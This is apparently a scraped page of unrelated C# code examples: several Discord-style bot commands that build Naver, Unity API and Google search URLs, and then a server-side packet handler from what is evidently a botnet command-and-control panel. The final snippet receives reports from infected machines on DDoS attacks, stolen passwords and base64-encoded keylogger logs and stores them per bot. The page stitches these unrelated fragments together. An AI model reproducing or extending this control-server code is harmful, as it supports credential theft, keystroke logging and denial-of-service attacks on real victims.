public async Task SearchStart_NaverDic_Korean_Kor(CommandContext pContext, string strSearchWord)
        {
            if (CBot.CheckIsRespond(pContext.Channel) == false)
            {
                return;
            }

            await Event_SearchStart(pContext, strSearchWord, Search_NaverDic_Ko, string.Format(strURL_NaverDic_Korea, pContext.RawArgumentString.Replace(" ", "+")), "Naver 국어사전", true);
        }
示例#2
0
        public async Task SearchStart_Unity_Kor(CommandContext pContext, string strSearchWord)
        {
            if (CBot.CheckIsRespond(pContext.Channel) == false)
            {
                return;
            }

            await Event_SearchStart(pContext, strSearchWord, Search_UnityAPI, string.Format(strURL_UnityScriptAPI, pContext.RawArgumentString.Replace(" ", "+")), "UnityAPI", true);
        }
示例#3
0
        public async Task SearchStart_Google_Kor(CommandContext pContext, string strSearchWord)
        {
            if (CBot.CheckIsRespond(pContext.Channel) == false)
            {
                return;
            }

            await Event_SearchStart(pContext, pContext.RawArgumentString.Replace(" ", "+"), Search_Google, strURL_Google, "Google");
        }
示例#4
0
 static void Main(string[] args)
 {
     CBot.StartGopnik();
 }
        /// <summary>
        /// Handles received Data from Clients that have been identified as Bot.
        /// </summary>
        /// <param name="Bot"></param>
        /// <param name="Packet"></param>
        /// <param name="arr_strArguments"></param>
        void HandleBotPacket(CBot Bot, BOT_PACKET Packet, String[] arr_strArguments)
        {
            try
            {
                switch (Packet)
                {
                case BOT_PACKET.TASK:
                {
                    if (arr_strArguments == null || arr_strArguments.Length != CConstants.BOT_TASKEXECUTED_ARGUMENT_LENGTH)
                    {
                        break;
                    }

                    int iTaskID = -1;

                    if (!int.TryParse(arr_strArguments[0], out iTaskID))
                    {
                        break;
                    }

                    m_TaskHandler.SetTaskExecuted(Bot, iTaskID);
                }
                break;

                case BOT_PACKET.DDOS:
                {
                    if (arr_strArguments == null || arr_strArguments.Length != 1 && arr_strArguments.Length != 3)
                    {
                        break;
                    }

                    int iAttackID = -1;

                    if (!int.TryParse(arr_strArguments[0], out iAttackID))
                    {
                        break;
                    }

                    if (arr_strArguments.Length > 1)
                    {
                        int iRate, iPPS;

                        if (!int.TryParse(arr_strArguments[1], out iRate) ||
                            !int.TryParse(arr_strArguments[2], out iPPS))
                        {
                            break;
                        }

                        m_DdosHandler.InfoUpdate(Bot.BotClient, iAttackID, iPPS, iRate);
                    }
                    else
                    {
                        m_DdosHandler.SetExecutedByBot(Bot.BotClient, iAttackID);
                    }
                }
                break;

                case BOT_PACKET.PING:
                {
                    if (arr_strArguments == null || arr_strArguments.Length != 1)
                    {
                        break;
                    }

                    int iCPUUsage = -1;

                    if (!int.TryParse(arr_strArguments[0], out iCPUUsage))
                    {
                        break;
                    }

                    Bot.CPU_Usage = iCPUUsage;
                    Bot.LastPong  = DateTime.Now;
                    m_BotHandler.ReplaceBySocket(Bot.BotClient, Bot);
                }
                break;

                case BOT_PACKET.STEALER:
                {
                    if (arr_strArguments == null || arr_strArguments.Length != 1)
                    {
                        break;
                    }

                    var arr_strPasswords = arr_strArguments[0].Split(';');

                    foreach (var strPassword in arr_strPasswords)
                    {
                        var arr_strData = strPassword.Split('*');

                        if (arr_strData.Length != 4)
                        {
                            break;
                        }

                        CStealerManager.Add(arr_strData[0], arr_strData[1], arr_strData[2], arr_strData[3]);
                    }
                }
                break;

                case BOT_PACKET.KEYLOGS:
                {
                    if (arr_strArguments == null || arr_strArguments.Length != 1)
                    {
                        break;
                    }

                    var arr_strLogData = UnicodeEncoding.Unicode.GetString(Convert.FromBase64String(arr_strArguments[0])).Split('*');

                    if (arr_strLogData.Length != 2)
                    {
                        break;
                    }

                    CKeylogManager.Add(arr_strLogData[0], arr_strLogData[1], Bot.BotID);
                }
                break;

                default: break;
                }
            }
            catch { }
        }